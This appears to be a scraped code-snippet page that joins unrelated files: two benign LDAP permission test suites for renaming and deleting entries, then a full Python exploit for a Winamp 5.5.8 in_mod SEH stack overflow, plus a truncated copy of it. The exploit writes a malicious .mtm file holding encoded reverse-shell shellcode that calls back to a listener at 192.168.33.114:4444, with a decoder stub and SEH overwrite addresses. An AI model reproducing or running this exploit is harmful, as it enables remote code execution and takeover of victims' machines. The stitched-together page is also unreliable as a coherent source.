Best Python code snippet using ATX
test_ldap_rename_entries.py
Source:test_ldap_rename_entries.py
1from uuid import uuid42from .features import LdapTestCase, ROOT_DC3class TestLdapRenameEntries(LdapTestCase):4 def test_rename_user_entry(self):5 def prepare_test(con, context, data):6 user_uid = "user-%s" % uuid4()7 user_dn = "uid=%s,ou=people,%s" % (user_uid, ROOT_DC)8 user2_uid = "uid=user-%s" % uuid4()9 user2_dn = "%s,ou=people,%s" % (user2_uid, ROOT_DC)10 self.create_user(user_uid, user_dn)11 data["dn"] = user_dn12 data["new_uid"] = user2_uid13 data["new_dn"] = user2_dn14 def rename_dn_entry(con, context, data):15 return con.modify_dn(data['dn'], data['new_uid']), con.result16 def assert_dn_exists(con, context, data):17 self.assertEntryExists(18 data['new_dn'], None19 )20 def assert_dn_does_not_exists(con, context, data):21 entries = self.get_ldap_dn(data['new_dn'], None)22 self.assertTrue(23 len(entries) == 024 )25 test_suite = {26 'anonymous': {27 'assert': self.assertFalse,28 'run_before_test': prepare_test,29 'run_after_test': assert_dn_does_not_exists30 },31 'user': {32 'assert': self.assertFalse,33 'run_before_test': prepare_test,34 'run_after_test': assert_dn_does_not_exists,35 },36 'user-people-admin': {37 'assert': self.assertTrue,38 'run_before_test': prepare_test,39 'run_after_test': assert_dn_exists,40 },41 'user-apps-admin': {42 'assert': self.assertFalse,43 'run_before_test': prepare_test,44 'run_after_test': assert_dn_does_not_exists,45 },46 'user-admin': {47 'assert': self.assertTrue,48 'run_before_test': prepare_test,49 'run_after_test': assert_dn_exists,50 },51 'admin': {52 'assert': self.assertTrue,53 'run_before_test': prepare_test,54 'run_after_test': assert_dn_exists,55 },56 'app': {57 'assert': self.assertFalse,58 'run_before_test': prepare_test,59 'run_after_test': assert_dn_does_not_exists,60 },61 'app-people-admin': {62 'assert': self.assertTrue,63 'run_before_test': prepare_test,64 'run_after_test': assert_dn_exists,65 },66 'app-apps-admin': {67 'assert': self.assertFalse,68 'run_before_test': prepare_test,69 'run_after_test': assert_dn_does_not_exists,70 },71 'app-admin': {72 'assert': self.assertTrue,73 'run_before_test': prepare_test,74 'run_after_test': assert_dn_exists,75 },76 }77 self.run_case(78 rename_dn_entry,79 test_suite,80 "Test creating rename user dn"81 )82 def test_rename_app_entry(self):83 def prepare_test(con, context, data):84 app_uid = "app-%s" % uuid4()85 app_dn = "uid=%s,ou=applications,%s" % (app_uid, ROOT_DC)86 app2_uid = "uid=app-%s" % uuid4()87 app2_dn = "%s,ou=applications,%s" % (88 app2_uid, ROOT_DC89 )90 self.create_app(app_uid, app_dn)91 data["dn"] = app_dn92 data["new_uid"] = app2_uid93 data["new_dn"] = app2_dn94 def rename_dn_entry(con, context, data):95 return con.modify_dn(data['dn'], data['new_uid']), con.result96 def assert_dn_exists(con, context, data):97 self.assertEntryExists(98 data['new_dn'], None99 )100 def assert_dn_does_not_exists(con, context, data):101 entries = self.get_ldap_dn(data['new_dn'], None)102 self.assertTrue(103 len(entries) == 0104 )105 test_suite = {106 'anonymous': {107 'assert': self.assertFalse,108 'run_before_test': prepare_test,109 'run_after_test': assert_dn_does_not_exists110 },111 'user': {112 'assert': self.assertFalse,113 'run_before_test': prepare_test,114 'run_after_test': assert_dn_does_not_exists,115 },116 'user-people-admin': {117 'assert': self.assertFalse,118 'run_before_test': prepare_test,119 'run_after_test': assert_dn_does_not_exists,120 },121 'user-apps-admin': {122 'assert': self.assertTrue,123 'run_before_test': prepare_test,124 'run_after_test': assert_dn_exists,125 },126 'user-admin': {127 'assert': self.assertTrue,128 'run_before_test': prepare_test,129 'run_after_test': assert_dn_exists,130 },131 'admin': {132 'assert': self.assertTrue,133 'run_before_test': prepare_test,134 'run_after_test': assert_dn_exists,135 },136 'app': {137 'assert': self.assertFalse,138 'run_before_test': prepare_test,139 'run_after_test': assert_dn_does_not_exists,140 },141 'app-people-admin': {142 'assert': self.assertFalse,143 'run_before_test': prepare_test,144 'run_after_test': assert_dn_does_not_exists,145 },146 'app-apps-admin': {147 'assert': self.assertTrue,148 'run_before_test': prepare_test,149 'run_after_test': assert_dn_exists,150 },151 'app-admin': {152 'assert': self.assertTrue,153 'run_before_test': prepare_test,154 'run_after_test': assert_dn_exists,155 },156 }157 self.run_case(158 rename_dn_entry,159 test_suite,160 "Test creating rename app dn"161 )162 def test_rename_group_entry(self):163 def prepare_test(con, context, data):164 group_cn = "group-%s" % uuid4()165 group_dn = "cn=%s,ou=groups,%s" % (group_cn, ROOT_DC)166 group2_cn = "cn=group-%s" % uuid4()167 group2_dn = "%s,ou=groups,%s" % (group2_cn, ROOT_DC)168 self.create_group(169 group_cn, group_dn, ["uid=tuser,ou=people,%s" % ROOT_DC]170 )171 data["dn"] = group_dn172 data["new_cn"] = group2_cn173 data["new_dn"] = group2_dn174 def rename_dn_entry(con, context, data):175 return con.modify_dn(data['dn'], data['new_cn']), con.result176 def assert_dn_exists(con, context, data):177 self.assertEntryExists(178 data['new_dn'], None179 )180 def assert_dn_does_not_exists(con, context, data):181 entries = self.get_ldap_dn(data['new_dn'], None)182 self.assertTrue(183 len(entries) == 0184 )185 test_suite = {186 'anonymous': {187 'assert': self.assertFalse,188 'run_before_test': prepare_test,189 'run_after_test': assert_dn_does_not_exists190 },191 'user': {192 'assert': self.assertFalse,193 'run_before_test': prepare_test,194 'run_after_test': assert_dn_does_not_exists,195 },196 'user-people-admin': {197 'assert': self.assertTrue,198 'run_before_test': prepare_test,199 'run_after_test': assert_dn_exists,200 },201 'user-apps-admin': {202 'assert': self.assertFalse,203 'run_before_test': prepare_test,204 'run_after_test': assert_dn_does_not_exists,205 },206 'user-admin': {207 'assert': self.assertTrue,208 'run_before_test': prepare_test,209 'run_after_test': assert_dn_exists,210 },211 'admin': {212 'assert': self.assertTrue,213 'run_before_test': prepare_test,214 'run_after_test': assert_dn_exists,215 },216 'app': {217 'assert': self.assertFalse,218 'run_before_test': prepare_test,219 'run_after_test': assert_dn_does_not_exists,220 },221 'app-people-admin': {222 'assert': self.assertTrue,223 'run_before_test': prepare_test,224 'run_after_test': assert_dn_exists,225 },226 'app-apps-admin': {227 'assert': self.assertFalse,228 'run_before_test': prepare_test,229 'run_after_test': assert_dn_does_not_exists,230 },231 'app-admin': {232 'assert': self.assertTrue,233 'run_before_test': prepare_test,234 'run_after_test': assert_dn_exists,235 },236 }237 self.run_case(238 rename_dn_entry,239 test_suite,240 "Test creating rename group dn"241 )242 def test_rename_policy_entry(self):243 def prepare_test(con, context, data):244 policy_cn = "policy-%s" % uuid4()245 policy_dn = "cn=%s,ou=policies,%s" % (policy_cn, ROOT_DC)246 policy2_cn = "cn=policy-%s" % uuid4()247 policy2_dn = "%s,ou=policies,%s" % (policy2_cn, ROOT_DC)248 self.create_policy(policy_cn, policy_dn)249 data["dn"] = policy_dn250 data["new_cn"] = policy2_cn251 data["new_dn"] = policy2_dn252 def rename_dn_entry(con, context, data):253 return con.modify_dn(data['dn'], data['new_cn']), con.result254 def assert_dn_exists(con, context, data):255 self.assertEntryExists(256 data['new_dn'], None257 )258 def assert_dn_does_not_exists(con, context, data):259 entries = self.get_ldap_dn(data['new_dn'], None)260 self.assertTrue(261 len(entries) == 0262 )263 test_suite = {264 'anonymous': {265 'assert': self.assertFalse,266 'run_before_test': prepare_test,267 'run_after_test': assert_dn_does_not_exists268 },269 'user': {270 'assert': self.assertFalse,271 'run_before_test': prepare_test,272 'run_after_test': assert_dn_does_not_exists,273 },274 'user-people-admin': {275 'assert': self.assertFalse,276 'run_before_test': prepare_test,277 'run_after_test': assert_dn_does_not_exists278 },279 'user-apps-admin': {280 'assert': self.assertFalse,281 'run_before_test': prepare_test,282 'run_after_test': assert_dn_does_not_exists,283 },284 'user-admin': {285 'assert': self.assertFalse,286 'run_before_test': prepare_test,287 'run_after_test': assert_dn_does_not_exists288 },289 'admin': {290 'assert': self.assertTrue,291 'run_before_test': prepare_test,292 'run_after_test': assert_dn_exists,293 },294 'app': {295 'assert': self.assertFalse,296 'run_before_test': prepare_test,297 'run_after_test': assert_dn_does_not_exists,298 },299 'app-people-admin': {300 'assert': self.assertFalse,301 'run_before_test': prepare_test,302 'run_after_test': assert_dn_does_not_exists303 },304 'app-apps-admin': {305 'assert': self.assertFalse,306 'run_before_test': prepare_test,307 'run_after_test': assert_dn_does_not_exists,308 },309 'app-admin': {310 'assert': self.assertFalse,311 'run_before_test': prepare_test,312 'run_after_test': assert_dn_does_not_exists313 },314 }315 self.run_case(316 rename_dn_entry,317 test_suite,318 "Test creating rename policy dn"...
test_ldap_delete_entries.py
Source:test_ldap_delete_entries.py
1from uuid import uuid42from .features import LdapTestCase, ROOT_DC3class TestLdapRemoveEntries(LdapTestCase):4 def test_remove_app_entry(self):5 def prepare_test(con, context, data):6 user_uid = "user-%s" % uuid4()7 user_dn = "uid=%s,ou=applications,%s" % (user_uid, ROOT_DC)8 self.create_app(user_uid, user_dn)9 data["dn"] = user_dn10 def delete_dn_entry(con, context, data):11 return con.delete(data['dn']), con.result12 def assert_dn_exists(con, context, data):13 self.assertEntryExists(14 data['dn'], None15 )16 def assert_dn_does_not_exists(con, context, data):17 entries = self.get_ldap_dn(data['dn'], None)18 self.assertTrue(19 len(entries) == 020 )21 test_suite = {22 'anonymous': {23 'assert': self.assertFalse,24 'run_before_test': prepare_test,25 'run_after_test': assert_dn_exists26 },27 'user': {28 'assert': self.assertFalse,29 'run_before_test': prepare_test,30 'run_after_test': assert_dn_exists,31 },32 'user-people-admin': {33 'assert': self.assertFalse,34 'run_before_test': prepare_test,35 'run_after_test': assert_dn_exists,36 },37 'user-apps-admin': {38 'assert': self.assertTrue,39 'run_before_test': prepare_test,40 'run_after_test': assert_dn_does_not_exists,41 },42 'user-admin': {43 'assert': self.assertTrue,44 'run_before_test': prepare_test,45 'run_after_test': assert_dn_does_not_exists,46 },47 'admin': {48 'assert': self.assertTrue,49 'run_before_test': prepare_test,50 'run_after_test': assert_dn_does_not_exists,51 },52 'app': {53 'assert': self.assertFalse,54 'run_before_test': prepare_test,55 'run_after_test': assert_dn_exists,56 },57 'app-people-admin': {58 'assert': self.assertFalse,59 'run_before_test': prepare_test,60 'run_after_test': assert_dn_exists,61 },62 'app-apps-admin': {63 'assert': self.assertTrue,64 'run_before_test': prepare_test,65 'run_after_test': assert_dn_does_not_exists,66 },67 'app-admin': {68 'assert': self.assertTrue,69 'run_before_test': prepare_test,70 'run_after_test': assert_dn_does_not_exists,71 },72 }73 self.run_case(74 delete_dn_entry,75 test_suite,76 "Test creating delete user dn"77 )78 def test_remove_group_entry(self):79 def prepare_test(con, context, data):80 group_cn = "group-%s" % uuid4()81 group_dn = "cn=%s,ou=groups,%s" % (group_cn, ROOT_DC)82 self.create_group(83 group_cn,84 group_dn,85 members=["uid=tuser2,ou=people," + ROOT_DC]86 )87 data["dn"] = group_dn88 def delete_dn_entry(con, context, data):89 return con.delete(data['dn']), con.result90 def assert_dn_exists(con, context, data):91 self.assertEntryExists(92 data['dn'], None93 )94 def assert_dn_does_not_exists(con, context, data):95 entries = self.get_ldap_dn(data['dn'], None)96 self.assertTrue(97 len(entries) == 098 )99 test_suite = {100 'anonymous': {101 'assert': self.assertFalse,102 'run_before_test': prepare_test,103 'run_after_test': assert_dn_exists104 },105 'user': {106 'assert': self.assertFalse,107 'run_before_test': prepare_test,108 'run_after_test': assert_dn_exists,109 },110 'user-people-admin': {111 'assert': self.assertTrue,112 'run_before_test': prepare_test,113 'run_after_test': assert_dn_does_not_exists,114 },115 'user-apps-admin': {116 'assert': self.assertFalse,117 'run_before_test': prepare_test,118 'run_after_test': assert_dn_exists,119 },120 'user-admin': {121 'assert': self.assertTrue,122 'run_before_test': prepare_test,123 'run_after_test': assert_dn_does_not_exists,124 },125 'admin': {126 'assert': self.assertTrue,127 'run_before_test': prepare_test,128 'run_after_test': assert_dn_does_not_exists,129 },130 'app': {131 'assert': self.assertFalse,132 'run_before_test': prepare_test,133 'run_after_test': assert_dn_exists,134 },135 'app-people-admin': {136 'assert': self.assertTrue,137 'run_before_test': prepare_test,138 'run_after_test': assert_dn_does_not_exists,139 },140 'app-apps-admin': {141 'assert': self.assertFalse,142 'run_before_test': prepare_test,143 'run_after_test': assert_dn_exists,144 },145 'app-admin': {146 'assert': self.assertTrue,147 'run_before_test': prepare_test,148 'run_after_test': assert_dn_does_not_exists,149 },150 }151 self.run_case(152 delete_dn_entry,153 test_suite,154 "Test creating delete user dn"155 )156 def test_remove_policy_entry(self):157 def prepare_test(con, context, data):158 policy_cn = "policy-%s" % uuid4()159 policy_dn = "cn=%s,ou=policies,%s" % (policy_cn, ROOT_DC)160 self.create_policy(policy_cn, policy_dn)161 data["dn"] = policy_dn162 def delete_dn_entry(con, context, data):163 return con.delete(data['dn']), con.result164 def assert_dn_exists(con, context, data):165 self.assertEntryExists(166 data['dn'], None167 )168 def assert_dn_does_not_exists(con, context, data):169 entries = self.get_ldap_dn(data['dn'], None)170 self.assertTrue(171 len(entries) == 0172 )173 test_suite = {174 'anonymous': {175 'assert': self.assertFalse,176 'run_before_test': prepare_test,177 'run_after_test': assert_dn_exists178 },179 'user': {180 'assert': self.assertFalse,181 'run_before_test': prepare_test,182 'run_after_test': assert_dn_exists,183 },184 'user-people-admin': {185 'assert': self.assertFalse,186 'run_before_test': prepare_test,187 'run_after_test': assert_dn_exists,188 },189 'user-apps-admin': {190 'assert': self.assertFalse,191 'run_before_test': prepare_test,192 'run_after_test': assert_dn_exists,193 },194 'user-admin': {195 'assert': self.assertFalse,196 'run_before_test': prepare_test,197 'run_after_test': assert_dn_exists,198 },199 'admin': {200 'assert': self.assertTrue,201 'run_before_test': prepare_test,202 'run_after_test': assert_dn_does_not_exists,203 },204 'app': {205 'assert': self.assertFalse,206 'run_before_test': prepare_test,207 'run_after_test': assert_dn_exists,208 },209 'app-people-admin': {210 'assert': self.assertFalse,211 'run_before_test': prepare_test,212 'run_after_test': assert_dn_exists,213 },214 'app-apps-admin': {215 'assert': self.assertFalse,216 'run_before_test': prepare_test,217 'run_after_test': assert_dn_exists,218 },219 'app-admin': {220 'assert': self.assertFalse,221 'run_before_test': prepare_test,222 'run_after_test': assert_dn_exists,223 },224 }225 self.run_case(226 delete_dn_entry,227 test_suite,228 "Test creating delete user dn"229 )230 def test_remove_user_entry(self):231 def prepare_test(con, context, data):232 user_uid = "user-%s" % uuid4()233 user_dn = "uid=%s,ou=people,%s" % (user_uid, ROOT_DC)234 self.create_user(user_uid, user_dn)235 data["dn"] = user_dn236 def delete_dn_entry(con, context, data):237 return con.delete(data['dn']), con.result238 def assert_dn_exists(con, context, data):239 self.assertEntryExists(240 data['dn'], None241 )242 def assert_dn_does_not_exists(con, context, data):243 entries = self.get_ldap_dn(data['dn'], None)244 self.assertTrue(245 len(entries) == 0246 )247 test_suite = {248 'anonymous': {249 'assert': self.assertFalse,250 'run_before_test': prepare_test,251 'run_after_test': assert_dn_exists252 },253 'user': {254 'assert': self.assertFalse,255 'run_before_test': prepare_test,256 'run_after_test': assert_dn_exists,257 },258 'user-people-admin': {259 'assert': self.assertTrue,260 'run_before_test': prepare_test,261 'run_after_test': assert_dn_does_not_exists,262 },263 'user-apps-admin': {264 'assert': self.assertFalse,265 'run_before_test': prepare_test,266 'run_after_test': assert_dn_exists,267 },268 'user-admin': {269 'assert': self.assertTrue,270 'run_before_test': prepare_test,271 'run_after_test': assert_dn_does_not_exists,272 },273 'admin': {274 'assert': self.assertTrue,275 'run_before_test': prepare_test,276 'run_after_test': assert_dn_does_not_exists,277 },278 'app': {279 'assert': self.assertFalse,280 'run_before_test': prepare_test,281 'run_after_test': assert_dn_exists,282 },283 'app-people-admin': {284 'assert': self.assertTrue,285 'run_before_test': prepare_test,286 'run_after_test': assert_dn_does_not_exists,287 },288 'app-apps-admin': {289 'assert': self.assertFalse,290 'run_before_test': prepare_test,291 'run_after_test': assert_dn_exists,292 },293 'app-admin': {294 'assert': self.assertTrue,295 'run_before_test': prepare_test,296 'run_after_test': assert_dn_does_not_exists,297 },298 }299 self.run_case(300 delete_dn_entry,301 test_suite,302 "Test creating delete user dn"...
15941.py
Source:15941.py
1#!/usr/bin/python2# finally got time to finish what I started...3# Winamp 5.5.8.2985 (in_mod plugin) Stack Overflow (SEH)4# WINDOWS XP SP3 EN Fully Patched5# Bug found by http://www.exploit-db.com/exploits/15248/6# POC and Exploit by fdisk (@fdiskyou)7# e-mail: fdiskyou at deniable.org8# This POC was already been released here (without proper shellcode): http://www.exploit-db.com/winamp-5-58-from-dos-to-code-execution/9# We later gave up on SEH and went straight for direct EIP overwrite, yesterday I couldn't sleep and decided to finish cooking this version.10# Further References:11# http://www.exploit-db.com/winamp-exploit-part-2/12# http://www.exploit-db.com/exploits/15287/13# Special thanks to Mighty-D, Ryujin and all the Exploit-DB Dev Team.1415header = "\x4D\x54\x4D\x10\x53\x70\x61\x63\x65\x54\x72\x61\x63\x6B\x28\x6B\x6F\x73\x6D\x6F\x73\x69\x73\x29\xE0\x00\x29\x39\x20\xFF\x1F\x00\x40\x0E"16header += "\x04\x0C" * 1617nopsled = "\x90" * 583311819# windows/shell_reverse_tcp LHOST=192.168.33.114 LPORT=4444 (script kiddie unfriendly)20# bad chars: \x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x10\x11\x12\x13\x0a\x0b\x0c\x0d\x0e\x0f21shellcode = ("\x89\xe1\xda\xd7\xd9\x71\xf4\x5e\x56\x59\x49\x49\x49\x49\x43"22"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x56\x58\x34"23"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"24"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"25"\x50\x38\x41\x43\x4a\x4a\x49\x4d\x38\x4d\x59\x43\x30"26"\x43\x30\x45\x50\x43\x50\x4d\x59\x4b\x55\x56\x51\x58\x52\x43"27"\x54\x4c\x4b\x50\x52\x50\x30\x4c\x4b\x56\x32\x54\x4c\x4c\x4b"28"\x51\x42\x54\x54\x43\x42\x51\x38\x54\x4f\x58\x37\x51"29"\x5a\x56\x46\x50\x31\x4b\x4f\x56\x51\x49\x50\x4e\x4c\x47\x4c"30"\x43\x51\x43\x4c\x43\x32\x56\x4c\x47\x50\x4f\x31\x58\x4f\x54"31"\x4d\x58\x47\x5a\x42\x5a\x50\x51\x42\x50\x57\x4c\x4b"32"\x51\x42\x54\x50\x4c\x4b\x47\x32\x47\x4c\x45\x51\x4e\x30\x4c"33"\x4b\x47\x30\x43\x48\x4d\x55\x4f\x30\x43\x44\x50\x4a"34"\x4e\x30\x50\x50\x4c\x4b\x50\x48\x54\x58\x4c\x4b\x56\x38\x47"35"\x50\x43\x31\x4e\x33\x4b\x53\x47\x4c\x50\x49\x4c\x4b\x50\x34"36"\x4c\x4b\x43\x31\x49\x46\x50\x31\x4b\x4f\x49\x50\x4e"37"\x4c\x49\x51\x58\x4f\x54\x4d\x43\x31\x49\x57\x47\x48\x4b\x50"38"\x52\x55\x4b\x44\x43\x33\x43\x4d\x4c\x38\x47\x4b\x43\x4d\x47"39"\x54\x54\x35\x4b\x52\x51\x48\x56\x38\x56\x44\x43\x31"40"\x49\x43\x43\x56\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x50\x58\x45"41"\x4c\x45\x51\x58\x53\x4c\x4b\x54\x44\x4c\x4b\x45\x51\x58\x50"42"\x4d\x59\x50\x44\x56\x44\x51\x4b\x51\x4b\x45\x31\x56"43"\x39\x50\x5a\x56\x31\x4b\x4f\x4d\x30\x56\x38\x51\x4f\x50\x5a"44"\x4c\x4b\x54\x52\x5a\x4b\x4d\x56\x51\x4d\x52\x48\x47\x43\x50"45"\x32\x43\x30\x52\x48\x52\x57\x52\x53\x50\x32\x51\x4f"46"\x51\x44\x52\x48\x50\x4c\x54\x37\x47\x56\x54\x47\x4b\x4f\x49"47"\x45\x4e\x58\x4c\x50\x45\x51\x43\x30\x43\x30\x56\x49"48"\x51\x44\x56\x30\x52\x48\x56\x49\x4d\x50\x52\x4b\x43\x30\x4b"49"\x4f\x58\x55\x50\x50\x50\x50\x50\x50\x50\x50\x51\x50\x56\x30"50"\x51\x50\x56\x30\x52\x48\x4b\x5a\x54\x4f\x4b\x50\x4b"51"\x4f\x49\x45\x4b\x39\x58\x47\x43\x58\x4f\x30\x4f\x58\x47\x51"52"\x54\x32\x45\x38\x45\x52\x43\x30\x54\x51\x51\x4c\x4c\x49\x5a"53"\x46\x52\x4a\x52\x30\x51\x46\x45\x38\x4d\x49\x4e\x45"54"\x43\x44\x45\x31\x4b\x4f\x58\x55\x45\x38\x43\x53\x52\x4d\x45"55"\x34\x45\x50\x4b\x39\x5a\x43\x56\x37\x56\x37\x50\x57\x56\x51"56"\x4c\x36\x52\x4a\x50\x59\x51\x46\x5a\x42\x4b\x4d\x45"57"\x36\x4f\x37\x51\x54\x47\x54\x47\x4c\x45\x51\x43\x31\x4c\x4d"58"\x51\x54\x56\x44\x52\x30\x49\x56\x43\x30\x51\x54\x51\x44\x56"59"\x30\x50\x56\x50\x56\x47\x36\x50\x56\x50\x4e\x50\x56"60"\x51\x46\x56\x33\x56\x36\x52\x48\x52\x59\x58\x4c\x47\x4f\x4c"61"\x46\x4b\x4f\x58\x55\x4d\x59\x4b\x50\x50\x4e\x50\x56"62"\x4b\x4f\x56\x50\x43\x58\x45\x58\x4b\x37\x45\x4d\x43\x50\x4b"63"\x4f\x58\x55\x4f\x4b\x4c\x30\x4f\x45\x4e\x42\x56\x36\x52\x48"64"\x4e\x46\x4c\x55\x4f\x4d\x4d\x4d\x4b\x4f\x47\x4c\x43"65"\x36\x43\x4c\x45\x5a\x4d\x50\x4b\x4b\x4d\x30\x43\x45\x43\x35"66"\x4f\x4b\x51\x57\x45\x43\x43\x42\x52\x4f\x43\x5a\x45\x50\x51"67"\x43\x4b\x4f\x58\x55\x45\x5a")6869prepare_shellcode = "\x90" * 4070prepare_shellcode += "\x90\x33\xDB" # xor ebx,ebx71prepare_shellcode += "\x54\x5B" # push esp - pop ebx72prepare_shellcode += "\x81\xEB\x17\xCB\xFF\xFF" # sub ebx,-34E973prepare_shellcode += "\x83\xc3\x3B" # add ebx,3B74prepare_shellcode += "\x83\xEB\x22" # sub ebx,2275prepare_shellcode += "\x80\x2B\xDA" # sub byte ptr ds:[ebx],0da76prepare_shellcode += "\x43" # inc ebx77prepare_shellcode += "\x80\x2B\xDA" # sub byte ptr ds:[ebx],0da78prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F79prepare_shellcode += "\x83\xEB\x16" # sub ebx,1680prepare_shellcode += "\x90" * 681prepare_shellcode += "\x80\x2B\xC2" # sub byte ptr ds:[ebx],0c282prepare_shellcode += "\x43" # inc ebx83prepare_shellcode += "\x80\x2B\xBE" # sub byte ptr ds:[ebx],0be84prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F85prepare_shellcode += "\x83\xEB\x16" # sub ebx,1686prepare_shellcode += "\x80\x2B\xC1" # sub byte ptr ds:[ebx],0c187prepare_shellcode += "\x43" # inc ebx88prepare_shellcode += "\x80\x2B\xBF" # sub byte ptr ds:[ebx],0BF89prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F90prepare_shellcode += "\x83\xEB\x16" # sub ebx,1691prepare_shellcode += "\x80\x2B\xC8" # sub byte ptr ds:[ebx],0c892prepare_shellcode += "\x43" # inc ebx93prepare_shellcode += "\x80\x2B\xB9" # sub byte ptr ds:[ebx],0B994prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F95prepare_shellcode += "\x90" * 496prepare_shellcode += "\x83\xEB\x16" # sub ebx,1697prepare_shellcode += "\x80\x2B\xCA" # sub byte ptr ds:[ebx],0CA98prepare_shellcode += "\x43" # inc ebx99prepare_shellcode += "\x80\x2B\xD9" # sub byte ptr ds:[ebx],0D9100prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F101prepare_shellcode += "\x83\xEB\x16" # sub ebx,16102prepare_shellcode += "\x80\x2B\xB7" # sub byte ptr ds:[ebx],0B7103prepare_shellcode += "\x43" # inc ebx104prepare_shellcode += "\x80\x2B\xB9" # sub byte ptr ds:[ebx],0B9105prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F106prepare_shellcode += "\x83\xEB\x16" # sub ebx,16107prepare_shellcode += "\x80\x2B\xC1" # sub byte ptr ds:[ebx],0c1108prepare_shellcode += "\x43" # inc ebx109prepare_shellcode += "\x80\x2B\xBF" # sub byte ptr ds:[ebx],0BF110prepare_shellcode += "\x90" * 4111prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F112prepare_shellcode += "\x83\xEB\x16" # sub ebx,16113prepare_shellcode += "\x80\x2B\xBC" # sub byte ptr ds:[ebx],0BC114prepare_shellcode += "\x43" # inc ebx115prepare_shellcode += "\x80\x2B\xD6" # sub byte ptr ds:[ebx],0D6116prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F117prepare_shellcode += "\x83\xEB\x16" # sub ebx,16118prepare_shellcode += "\x80\x2B\xCA" # sub byte ptr ds:[ebx],0CA119prepare_shellcode += "\x43" # inc ebx120prepare_shellcode += "\x80\x2B\xDA" # sub byte ptr ds:[ebx],0da121prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F122prepare_shellcode += "\x83\xEB\x16" # sub ebx,16123prepare_shellcode += "\x80\x2B\xC4" # sub byte ptr ds:[ebx],0c4124prepare_shellcode += "\x43" # inc ebx125prepare_shellcode += "\x90" * 4126prepare_shellcode += "\x80\x2B\xB6" # sub byte ptr ds:[ebx],0B6127prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F128prepare_shellcode += "\x83\xEB\x16" # sub ebx,16129prepare_shellcode += "\x80\x2B\xC4" # sub byte ptr ds:[ebx],0c4130prepare_shellcode += "\x43" # inc ebx131prepare_shellcode += "\x80\x2B\xBB" # sub byte ptr ds:[ebx],0BB132prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F133prepare_shellcode += "\x83\xEB\x16" # sub ebx,16134prepare_shellcode += "\x80\x2B\xB7" # sub byte ptr ds:[ebx],0B7135prepare_shellcode += "\x43" # inc ebx136prepare_shellcode += "\x80\x2B\xD3" # sub byte ptr ds:[ebx],0D3137prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F138prepare_shellcode += "\x83\xEB\x16" # sub ebx,16139prepare_shellcode += "\x90" * 6140prepare_shellcode += "\x80\x2B\xBB" # sub byte ptr ds:[ebx],0BB141prepare_shellcode += "\x43" # inc ebx142prepare_shellcode += "\x80\x2B\xD8" # sub byte ptr ds:[ebx],0D8143prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F144prepare_shellcode += "\x83\xEB\x16" # sub ebx,16145prepare_shellcode += "\x80\x2B\xB7" # sub byte ptr ds:[ebx],0B7146prepare_shellcode += "\x43" # inc ebx147prepare_shellcode += "\x80\x2B\xD4" # sub byte ptr ds:[ebx],0d4148prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F149prepare_shellcode += "\x83\xEB\x16" # sub ebx,16150prepare_shellcode += "\x80\x2B\xBC" # sub byte ptr ds:[ebx],0BC151prepare_shellcode += "\x43" # inc ebx152prepare_shellcode += "\x80\x2B\xB4" # sub byte ptr ds:[ebx],0B4153prepare_shellcode += "\x90" * 6154prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F155prepare_shellcode += "\x83\xEB\x16" # sub ebx,16156prepare_shellcode += "\x80\x2B\xBF" # sub byte ptr ds:[ebx],0BF157prepare_shellcode += "\x43" # inc ebx158prepare_shellcode += "\x80\x2B\xD5" # sub byte ptr ds:[ebx],0D5159prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F160prepare_shellcode += "\x83\xEB\x16" # sub ebx,16161prepare_shellcode += "\x80\x2B\xCC" # sub byte ptr ds:[ebx],0CC162prepare_shellcode += "\x43" # inc ebx163prepare_shellcode += "\x80\x2B\xC9" # sub byte ptr ds:[ebx],0C9164prepare_shellcode += "\x90"*305165166nseh = "\xeb\x30\x90\x90"167seh = "\x3f\x28\xd1\x72" # 0x72D1283F - ppr - msacm32.drv - Windows XP SP3 EN168payload = header + nopsled + nseh + seh + prepare_shellcode + shellcode + "\x90" * 100169170file = open("sploit.mtm", "w")171file.write(payload)172file.close()173
...
winamp558-sehoverflow.txt
Source:winamp558-sehoverflow.txt
1#!/usr/bin/python2# finally got time to finish what I started...3# Winamp 5.5.8.2985 (in_mod plugin) Stack Overflow (SEH)4# WINDOWS XP SP3 EN Fully Patched5# Bug found by http://www.exploit-db.com/exploits/15248/6# POC and Exploit by fdisk7# This POC was already been released here (without proper shellcode): http://www.exploit-db.com/winamp-5-58-from-dos-to-code-execution/8# We later gave up on SEH and went straight for direct EIP overwrite, yesterday I couldn't sleep and decided to finish cooking this version.9# Further References:10# http://www.exploit-db.com/winamp-exploit-part-2/11# http://www.exploit-db.com/exploits/15287/12# Special thanks to Mighty-D, Ryujin and all the Exploit-DB Dev Team.13 14header = "\x4D\x54\x4D\x10\x53\x70\x61\x63\x65\x54\x72\x61\x63\x6B\x28\x6B\x6F\x73\x6D\x6F\x73\x69\x73\x29\xE0\x00\x29\x39\x20\xFF\x1F\x00\x40\x0E"15header += "\x04\x0C" * 1616buffersize = 65536 * 217nopsled = "\x90" * 5821118 19# windows/shell_reverse_tcp LHOST=192.168.33.114 LPORT=4444 (script kiddie unfriendly)20# bad chars: \x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x10\x11\x12\x13\x0a\x0b\x0c\x0d\x0e\x0f21shellcode = 